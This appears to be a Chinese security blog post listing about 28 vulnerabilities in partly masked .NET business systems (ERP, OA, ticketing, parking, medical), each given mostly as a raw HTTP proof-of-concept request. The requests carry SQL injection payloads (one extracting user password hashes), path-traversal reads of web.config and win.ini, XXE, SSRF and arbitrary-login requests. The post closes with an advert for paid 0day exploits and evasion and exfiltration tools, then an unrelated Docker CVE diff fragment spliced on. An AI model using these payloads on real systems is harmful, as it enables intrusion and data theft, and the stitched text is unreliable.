+filePath=~/Scripts/pad/../../Web.config&fileName=Web.config + +``` + + + +28 + +某ERP系统SQL注入漏洞-2 +## 28.1 漏洞概述 + +** +系统接口 + /ashx/Default****.ashx 存在SQL +注入漏洞 + +``` +POST /ashx/Default***.ashx HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 +Connection: close +Content-Length: 115 +Content-Type: application/x-www-form-urlencoded +Accept-Encoding: gzip + +action=GetDetail&status=300&id=1+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123')),3,32))<0-- + +``` + + + +27 + +某OA系统存在SQL注入 +## 27.1 漏洞概述 + +** +系统接口 + /WebService/Basic***.asmx 存在注入漏洞 + +``` +POST /WebService/Basic***.asmx HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +SOAPAction: "http://tempuri.org/GetStreamID" +Content-Length: 85 + + + + + +';waitfor delay '0:0:6'--+ +{ac80457b-368d-4062-b2dd-ae4d490e1c4b} + + + + +``` + + +26 + +某企业管理系统登录后台漏洞 +## 26.1 漏洞概述 + +** +系统接口 + /Auth***/Index 存在任意账户登录漏洞 + +``` +GET /Auth***/Index?loginName=System&token=c94ad0c0aee8b1f23b138484f014131f HTTP/1.1 + +``` + + + +25 + +某ERP系统SQL注入漏洞 +## 25.1 漏洞概述 + +** +系统接口 + /PDCA/ashx/CommentSta****.ashx 存在SQL +注入漏洞 + +``` +POST /PDCA/ashx/CommentSta***.ashx HTTP/1.1 +Host:  +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 + +action=detailInfo&fileid=1+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123')),3,32))<0-- + +``` + + + +24 + +某票务管理系统SQL注入漏洞 +## 24.1 漏洞概述 + +** +系统接口 /System***/Comm +/SeatMap***.ashx 存在SQL注入漏洞 + +``` +POST /System***/Comm/SeatMap***.ashx HTTP/1.1 +Host: {{Hostname}} +Content-Type: application/x-www-form-urlencoded + +Method=GetZoneInfo&solutionNo=1'%3bDECLARE+%40x+CHAR(9)%3bSET+%40x%3d0x +303a303a35%3bWAITFOR+DELAY+%40x-- + +``` + + + +23 + +某一卡通系统SQL注入漏洞 +## 23.1 漏洞概述 + +** +系统接口  +/Data***.asmx 存在SQL注入漏洞 + +``` +POST /Data***.asmx HTTP/1.1 +Host: {{Hostname}} +Content-Type: text/xml; charset=utf-8 +SOAPAction: "http://tempuri.org/ExeAppCmd" + + + +   +     +      {"cmd":"get_sb_guanli","Type":"1');WAITFOR DELAY '0:0:4'--"} +      MTIz +     +   + + +``` + + +22 + +某BPM系统SQL注入漏洞 +## 22.1 漏洞概述 + +** +系统接口  +/WF/Comm/Han***.ashx 存在SQL注入漏洞 + +``` +POST /WF/Comm/Han**.ashx?DoType=RunSQL_Init HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Content-Type: multipart/form-data; boundary=----123128312312389898yd98ays98d +  +------123128312312389898yd98ays98d +Content-Disposition: form-data; name="SQL" +  +SELECT No,Pass FROM Port_Emp +------123128312312389898yd98ays98d-- + +``` + + + +21 + +某智慧协同系统SQL注入漏洞 +## 21.1 漏洞概述 + +** +系统接口  +/third/DingTalk/Pages/***.aspx 存在SQL注入漏洞 + +``` +GET /third/DingTalk/Pages/Uniform**.aspx?moduleid=1;WAITFOR+DELAY+'0:0:5'-- + HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/109.0 + +``` + + +20 + +某企业管理系统文件读取漏洞 +## 20.1 漏洞概述 + +** +系统接口  +/Utility/GetCss** + +``` +GET /Utility/GetCss**?filePath=../web.config HTTP/1.1 +Host: ip +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 + +``` + + + +19 + +某智能停车系统SQL注入漏洞 +## 19.1 漏洞概述 + +** +系统接口  +/KT_Admin/CarCard/DoubtCarNo***.as** 存在SQL注入漏洞。 + +``` +POST /KT_Admin/CarCard/DoubtCarNo****From.as** HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Content-Type: application/x-www-form-urlencoded +Connection: close + +start=0&limit=20&filer=1;SELECT SLEEP(5)# +``` + + +18 + +某EIS平台SQL注入漏洞-2 +## 18.1 漏洞概述 + +**EI +S系统接口 /frm/frm_form_***.aspx存在SQL注入漏洞。 + +``` +GET /frm/frm_form_**.aspx?list_id=1%20and%201=@@version--+ HTTP/1.1 +Host: x +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, +like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close + +``` + + + +17 + +某EIS平台SQL注入漏洞 +## 17.1 漏洞概述 + +**EIS系统接口 + /third/DingTalk/Demo/Show**.aspx 存在SQL注入 +漏洞。 + +``` +GET /third/DingTalk/Demo/Show**.aspx?account=1'%20and%201=@@version--+ +HTTP/1.1 +Host: x +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, +like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +``` + + +16 + +某达OA系统任意用户登录 +## 16.1 漏洞概述 + +**达OA系统接口  +/Lk6SyncService/DirectToOthers/GetSSO***.asmx + 存在任意用户登录漏洞。 +## 16.2 漏洞详情 + +``` +POST /WebService/Lk6SyncService/DirectToOthers/GetSSOStamp.asmx HTTP/1.1 +Host: +Content-Type: text/xml; charset=utf-8 +Content-Length: 350 +SOAPAction: "http://tempuri.org/GetStamp"  + + + + + +admin + + + + +``` + + + +15 + +某达OA系统SQL注入漏洞 +## 15.1 漏洞概述 + +**达OA系统接口  +/Webservice/IM/Config/Config***.asmx + 存在SQL注入漏洞。 +## 15.2 漏洞详情 + +``` +POST /Webservice/IM/Config/Config**.asmx HTTP/1.1 +Host: {{Hostname}} +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like +Gecko) Chrome/123.0.6312.88 Safari/537.36 +Content-Type: text/xml;charset=UTF-8 + + + + + +1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from +T_ORG_USER -- + + + + +``` + + + +14 + +某达学分系统SQL注入漏洞 +## 14.1 漏洞概述 + +***计算机系统开发有限公司，成立于1996年，是一家以从事软件和信息技术服务业为主的企业。 +学 +分系统某接口存在SQL注入漏洞，未经身份验证的远程攻击者可利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。 +## 14.2 漏洞详情 + +``` +POST /WebService_**.asmx HTTP/1.1 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate, br +Connection: close +Cookie: ASP.NET_SessionId=e5l5acb3exqi5bmtezazrjsg +Upgrade-Insecure-Requests: 1 +Priority: u=1 +SOAPAction: http://tempuri.org/GetCalendarContentById +Content-Type: text/xml;charset=UTF-8 +Host:  +Content-Length: 314 + + +    +    +       +          +         -7793' OR 7994 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(120)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (7994=7994) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(106)+CHAR(113))) AND 'qciT'='qciT          +``` + + + +13 + +某云智慧系统SQL注入漏洞 +## 13.1 漏洞详情 + +``` +POST /Ajax****.as**/GetCompany*** HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 +Accept-Encoding: gzip, deflate +Content-Type: application/json +X-Requested-With: XMLHttpRequest +Content-Length: 41 +Connection: close + +{cusNumber:"1' and 2=user--+"} +``` + + +12 + +某通系统SSRF漏洞 +## 12.1 漏洞详情 + +``` +POST /tplus/ajax***/Ufida.T.SM.***.UA.***Controller,Ufida.T.SM.***.ashx?method=Test*** HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate +Connection: close +Cookie: ASP.NET_SessionId=sfzg0pgxvld3ltgimecqkjg4; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1721822405; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1721822415; HMACCOUNT=AFE08148BD092161 +Upgrade-Insecure-Requests: 1 +Priority: u=0, i +Content-Type: application/x-www-form-urlencoded +Content-Length: 36 + +{ +  "address":"ftlhbc.dnslog.cn" +} +``` + + +11 + +某达OA系统XXE漏洞 +## 11.1 漏洞详情 + +``` +POST /***/***WebService.asmx HTTP/1.1 +Host:  +Content-Type: text/xml; charset=utf-8 +Content-Length: length +SOAPAction: "***WebService.asmx/PostArchiveInfo" +  + + +   +     +      <!DOCTYPE Archive [ <!ENTITY secret SYSTEM "file:///windows/win.ini"> ]> <Archive> <ArchiveInfo> <UploaderID> ############ &secret; ############## </UploaderID> </ArchiveInfo> <Result> <MainDoc>Document Content</MainDoc> </Result> <DocInfo> <DocTypeID>1</DocTypeID> <DocVersion>1.0</DocVersion> </DocInfo> </Archive> +      string +      string +     +   + +``` + + +10 + +某智ERP +系统文件读取 +漏洞 +## 10.1 漏洞概述 + +**ERP是一款旨在通过信息化手段帮助企业优化业务流程，提升管理效率，增强综合竞争力。适用于各类企业，包括大型企业、中小型企业以及集团化企业。根据企业规模和业务需求，汇智ERP提供了不同的版本，以满足企业的个性化需求。 +## 10.2 漏洞详情 + +``` +GET /nssys/common/filehandle.aspx?filepath=C%3a%2fwindows%2fwin%2eini HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +``` + + +09 + +某和OA系统SQL注入漏洞 +## 9.1 漏洞详情 + +``` +GET /**/**.appraise/GeneralXmlhttpPage.aspx/?type=CheckAppraiseState&id=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +``` + + +08 + +某慧综合管理系统SQL注入漏洞 +## 8.1 漏洞概述 + +由于***综合管理信息系统 Login*** +.aspx没有对外部输入的SQL语句进行严格的校验和过滤，直接带入数据库执行，导致未经身份验证的远程攻击者可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。 +## 8.2 漏洞详情 + +``` +POST /***/Login***.aspx?ReturnUrl=%2f HTTP/1.1 +Host:  +Accept-Encoding: gzip, deflate +X-Requested-With: XMLHttpRequest +Content-Type: application/x-www-form-urlencoded +  +Todo=Validate&LoginName=1%27+AND+5094+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28112%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%285094%3D5094%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28118%29%2BCHAR%28120%29%2BCHAR%28113%29%29%29+AND+%27JKJg%27%3D%27JKJg&Password=&CDomain=Local&FromUrl= +``` + + +07 + +某邦项目管理系统上传漏洞 +## 7.1 漏洞概述 + + +某项目管理系统/***/***In.aspx存在任意文件上传漏洞，导致获取服务器权限，造成系统严重危害。 +## 7.2 漏洞详情 + +``` +POST /**/***In.aspx HTTP/1.1 +Host:  +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAU4uQKbpWhA7eME3 +Cookie: ASP.NET_SessionId=oewffeov54f2dfj3iyz2u1qp +Accept-Language: zh-CN,zh;q=0.9 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Cache-Control: max-age=0 +Accept-Encoding: gzip, deflate +Content-Length: 1470 + +------WebKitFormBoundaryAU4uQKbpWhA7eME3 +Content-Disposition: form-data; name="__VIEWSTATE" + +U6iRl9SqWWlhjIPJXIeFrsinqYAmYxenxFiyfWFMfWgnw3OtkceDLcdfRvB8pmUNGk44PvjZ6LlzPwDbJGmilsmhuX9LvOiuKadYa9iDdSipLW5JvUHjS89aGzKqr9fhih+p+/Mm+q2vrknhfEJJnQ== +------WebKitFormBoundaryAU4uQKbpWhA7eME3 +Content-Disposition: form-data; name="__VIEWSTATEGENERATOR" + +FD259C0F +------WebKitFormBoundaryAU4uQKbpWhA7eME3 +Content-Disposition: form-data; name="__EVENTVALIDATION" + +/pKblUYGQ+ibKtw4CCS2wzX+lmZIOB+x5ezYw0qJFbaUifUKlxNNRMKceZYgY/eAUUTaxe0gSvyv/oA8lUS7G7jPVqqrMEzYBVBl8dRkFWFwMqqjv1G9gXM/ZnIpnVSL +------WebKitFormBoundaryAU4uQKbpWhA7eME3 +Content-Disposition: form-data; name="FileUpload1"; filename="1234.zip" +Content-Type: application/x-zip-compressed + +{{unquote("PK\x03\x04\x14\x00\x01\x00\x00\x00\xefl\xfaX\x1c:\xf5\xcb\x11\x00\x00\x00\x05\x00\x00\x00\x08\x00\x00\x001234.txt\xb0\x0c\x01\x08\xd1!\xd1Uv \xfal\x9b\xf4Q\xfd\xf8PK\x01\x02?\x00\x14\x00\x01\x00\x00\x00\xefl\xfaX\x1c:\xf5\xcb\x11\x00\x00\x00\x05\x00\x00\x00\x08\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x001234.txt\x0a\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x05\x8d\x9d.\x1e\xdf\xda\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00Z\x00\x00\x007\x00\x00\x00\x00\x00")}} +------WebKitFormBoundaryAU4uQKbpWhA7eME3 +Content-Disposition: form-data; name="Button1" + +模块导入 +------WebKitFormBoundaryAU4uQKbpWhA7eME3-- + +``` + + +06 + +某问物业系统文件读取漏洞 +## 6.1 漏洞概述 + + +物业ERP系统/***DownLoad.aspx和 +**DownLoad.aspx接口处存在任意 +文件读取漏洞，未经身份验证的攻击者可以利用 +## 6.2 漏洞详情 + +``` +GET /**/***DownLoad.aspx?OwnerVacantFile=../web.config HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close + +``` + + +``` +GET /**/***DownLoad.aspx?VacantDiscountFile=../web.config HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +``` + + +05 + +某文工程系统SQL注入漏洞 +## 5.1 漏洞概述 + +**工程管理系统  +***Business***.as**接 +口处存在SQL注入漏洞。 +未经身份验证的远程攻击者可以利用SQL注入漏洞获取数据库中的信息。 +## 5.2 漏洞详情 + +``` +POST /App**face/Bu**ss/Business**.as** HTTP/1.1 +Host:  +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 + +method=Prj**&content=%' and 1=2 union select 1,(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','233')),3,32));-- a + +``` + + +04 + +某讯一卡通系统SQL注入漏洞 +## 4.1 漏洞概述 + +** +一卡通管理系统get_kq_tj_**存在SQL注入漏洞，未经身份验证的远程攻击者可以利用SQL注入漏洞获取数据库中的信息。 +## 4.2 漏洞详情 + +``` +GET /api/get_kq_tj_**?**ID=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close + +``` + + +03 + +某脉医疗系统文件下载漏洞 +## 3.1 漏洞概述 + +** +医疗管理系统Down +Load** +存在 +任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。 +## 3.2 漏洞详情 + +``` +POST /**/DownLoad** +Accept : +text/html,application/xhtml+xml,application/xml:g=0.9,image/avif,image/webp,*/*:g=0.8 +Content-Type:application/x-www-form-urlencoded + +filePath=c:\lwindows\win.ini + +``` + + +02 + +某蓝企业系统文件读取漏洞 + +** +企业管理系统是一款为企业提供全面管理解决方案的软件系统，它能够帮助企业实现精细化管理，提高效率，降低成本。 +系统集成了多种管理功能，包括但不限于项目管理、财务管理、采购管理、销售管理以及报表分析等，旨在为企业提供一站式的管理解决方案。 +该系统以先进的管理思想为引导，结合企业实际业务流程，通过信息化手段提升企业管理水平。 +## 2.1 漏洞概述 + +**企业管理系统 ***TxtLog和 + ***File接口接口处存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。 +## 2.2 漏洞详情 + +``` +GET /BaseModule/**/**TxtLog?FileName=../web.config HTTP/1.1 +Host:  +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Cookie: __RequestVerificationToken=EXiOGTuudShJEzYLR8AQgWCZbF2NB6_KXKrmqJJyp1cgyV6_LYy9yKQhNkHJGXXlbO_6NLQZPwUUdVZKH6e9KMuXyxV6Tg-w5Ftx-mKih3U1; ASP.NET_SessionId=2ofwed0gd2jc4paj0an0hpcl +Priority: u=0, i +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 +``` + + +``` +GET /Utility/***File?filePath=../web.config HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Accept: */* +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 + +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YicgFfCtN5eic5rdGenrSYENBeSa1nXIwKNmoT5v2KEJuMS7Jx65uJS2ibhNda8JDbyfn7eZky76RWgg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +01 + +某享人力管理系统任意文件读取漏洞 + +***** +软件 +专注研发和推广人力资源信息化产品，帮助企业构建统一的人力资源数智化平台，快速提高企业人才管理能力，提升人力资源管理效率，帮助员工快速成长，协助企业实现智慧决策。 +## 1.1 漏洞概述 + +该人力系统 +DownLoad**** + 接口处存在任意文件读取漏洞，未经身份验证的攻击者可以利用此漏洞读取系统内部配置文件，造成信息泄露，导致系统处于极不安全的状态。 +## 1.2 漏洞详情 + +``` +POST /*****/Download*** HTTP/1.1 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate, br +Connection: close +Cookie: ASP.NET_SessionId=f40br0ilcoosnxgllqrmltkd +Upgrade-Insecure-Requests: 1 +Priority: u=1 +SOAPAction: http://tempuri.org/DownloadFile +Content-Type: text/xml;charset=UTF-8 +Host:  +Content-Length: 310 + + +    +    +       +          +         ../web.config +       +    + + +``` + + +漏洞详情已经打包在星球，感兴趣的朋友可以加入自取。 +更多的.NET漏洞情报，请加入星球后获取，星球持续更新最新的 .NET 应用漏洞POC，并在每年HW期间提供一手漏洞情报。这些POC/EXP +涵盖了一些0day和1day漏洞 +，确保您始终掌握最前沿的安全信息和防护措施。![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y9MmyiaOCwQpqyNI5dF0mNd6S0pmZTgiaLuKN2icfwic79fddnRKAfV2T8N2Ydib4f4jSx3cmBY7icKTSNQ/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +二 + +推荐阅读 + +从漏洞分析到安全攻防，我们涵盖了.NET安全 +各个关键方面，为您呈现最新、最全面的.NET安全知识，下面是公众号发布的精华文章集合，推荐大家阅读！ + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247493952&idx=3&sn=88060c78ccd74089bfe67682e79497d8&chksm=fa5947adcd2ecebbe09ba231b44c9574b5cc88f6d8e934989e3953856301fa071ae39aa827d6&scene=21#wechat_redirect) + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247493952&idx=4&sn=db68011fb075c1d02268811163646b53&chksm=fa5947adcd2ecebbb1ca6659f289a5e344e37d1136fe0bd9272b5578e4c71bb19bb250e934d3&scene=21#wechat_redirect) + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247488762&idx=1&sn=a5710927a6ba09b5c83adf616e2b12ae&chksm=fa5aba17cd2d330119d1ab2ce4b3a434274f0adf96729dbf8f04bef16c389565fc144f84d341&scene=21#wechat_redirect) + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490722&idx=2&sn=c9807daa5548e139a0c67303cb26882a&chksm=fa5ab24fcd2d3b59a85be03e69c655ffd644e8458bc2ec3f572da4b40b43e5003fda756f35b4&scene=21#wechat_redirect) + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490703&idx=2&sn=e7db1ff662e5b41d9a1806fbdf33e204&chksm=fa5ab262cd2d3b7470f029b9a07d1dd3611e63be910b01a601144efe7d84b5f016f488a354cf&scene=21#wechat_redirect) + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490700&idx=2&sn=e8a865ada7c743e77fb9e953c5da74b1&chksm=fa5ab261cd2d3b7736387eddfc8524a378a1604552d0c9b55476646f9e8275f48818aab8acad&scene=21#wechat_redirect) + +[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247488736&idx=2&sn=d24aaa297c51eb620ccdf67af513086d&chksm=fa5aba0dcd2d331bbb22f3f5657199d718c90efed42fcb9cb67ec23d342f887c117e4858f1cb&scene=21#wechat_redirect) + +三 + +欢迎加入.NET安全星球 + +为了更好地应对基于.NET技术栈的风险识别和未知威胁，dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术，定位于高质量安全攻防星球社区，也得到了许多师傅们的支持和信任，通过星球深度连接入圈的师傅们，一起推动.NET安全高质量的向前发展。 + + + + +     +目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一，从.NET Framework到.NET Core，从Web应用到PC端软件应用，无论您是初学者还是经验丰富的开发人员，都能在这里找到对应的安全指南和最佳实践。 + +星球汇聚了各行业安全攻防技术大咖，并且每日分享.NET安全技术干货以及交流解答各类技术等问题，社区中发布很多高质量的.NET安全资源，可以说市面上很少见，都是干货。 + +![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YibzerwUbGOupPoJgYlZNMo1gg58eGoicPibjMBKkEo1zOia6zOyeupYasZZ9DTFvJVvzJQTEuhKrvTsA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y8DlZsGiaRRGghficKFQt58Ueoynsb0my3uzMAb7VwM5bgtnb4nbl4c9xdEjGraUXic6pO0p38xmWiaRQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +![](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1YibQ6VpnKYXPqfmHnyJHzHxOc2SogKzZ16SD7dpzF3v81kia4ZAx5QU5ibnNibEo8kZZSJgrficz4Ckxwg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +星球文化始终认为授人以鱼不如授人以渔！ +加入星球后可以跟星主和嘉宾们一对一提问交流，20+个专题栏目涵盖了点、线、面、体等知识面，助力师傅们快速成长！其中主题包括 +.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库 +等等。![](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1YiccvW0LwqSx3grm4bgM0fz01qCxrYGBR94wibZ7sk1zIO9DzCgviab9vmUic8qmvynXhSM8LxFhGG97w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +    我们倾力打造专刊、视频等配套学习资源，循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。![](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y9XgicSeCfnDO0KyvDNdCZhG3pTSWHRekG0Wrp0FXyHO1mz9ia5uiaICjCmg5jIzx4ERLU8MjXWVSkCw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +为了助力大家在 +2024国家级hvv +演练中脱颖而出，我们 +特别整理出了一套涵盖dotNet安全矩阵星球的 +八大.NET相关方向工具集 +。 + +``` +.NET 免杀WebShell +.NET 反序列化漏洞 +.NET 安全防御绕过 +.NET 内网信息收集 +.NET 本地权限提升 +.NET 内网横向移动 +.NET 目标权限维持 +.NET 数据外发传输 + +``` + + +这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术，更是每一位网络安全爱好者不可或缺的实战利器。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1Y9ZQNibdZiazXl9zhxh3wB9n5LXcwJqbvQywJQLsckcGGV6NNWLITK1VkDV2CPeahvyUbPNPCRATEmA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + diff --git a/doc/CVE-2018-15664:Docker CP任意读写主机文件.md b/doc/CVE-2018-15664:Docker CP任意读写主机文件.md new file mode 100644 index 00000000..eb3a7a52 --- /dev/null +++ b/doc/CVE-2018-15664:Docker CP任意读写主机文件.md @@ -0,0 +1,162 @@ +# CVE-2018-15664:Docker CP任意读写主机文件 +Heptagram 七芒星实验室 2024-12-09 23:01 + +#### 影响范围 + +Docker 17.06.0-ce～17.12.1-ce:rc2 + +Docker 18.01.0-ce～18.06.1-ce:rc2 +#### 漏洞类型 + +容器逃逸 +#### 利用条件 + +TOCTOU +#### 漏洞概述 + +2019年6月份，Docker容器被曝存在权限逃逸安全漏洞(漏洞编号:CVE-2018-15664)，攻击者可利用此漏洞访问主机文件系统的任意文件，该漏洞攻击的基本前提是FllowSymlinkInScope遭受了最基本的TOCTOU攻击(即time-to-check-time-to-use攻击，黑客可利用窗口期在解析资源路径之后但在分配的程序开始在资源上操作之前修改路径)，这里的FllowSymlinkInScope的目的是获取一个既定路径并以安全的方式将其解析，就像该进程是在容器内那样,完整路径被解析后被解析的路径传递了一个比特位，之后在另外一个比特位上操作(在docker cp情况下，在创建流式传输到客户端的文档时打开)，如果攻击者能够在路径解析之后但在操作之前添加一个符号链接组件，那么就能以root身份在主机上解析符号链接路径组件，在"Docker cp"情况下它将导致任何人读取并写入主机任何路径的访问权限 +#### 漏洞环境 + 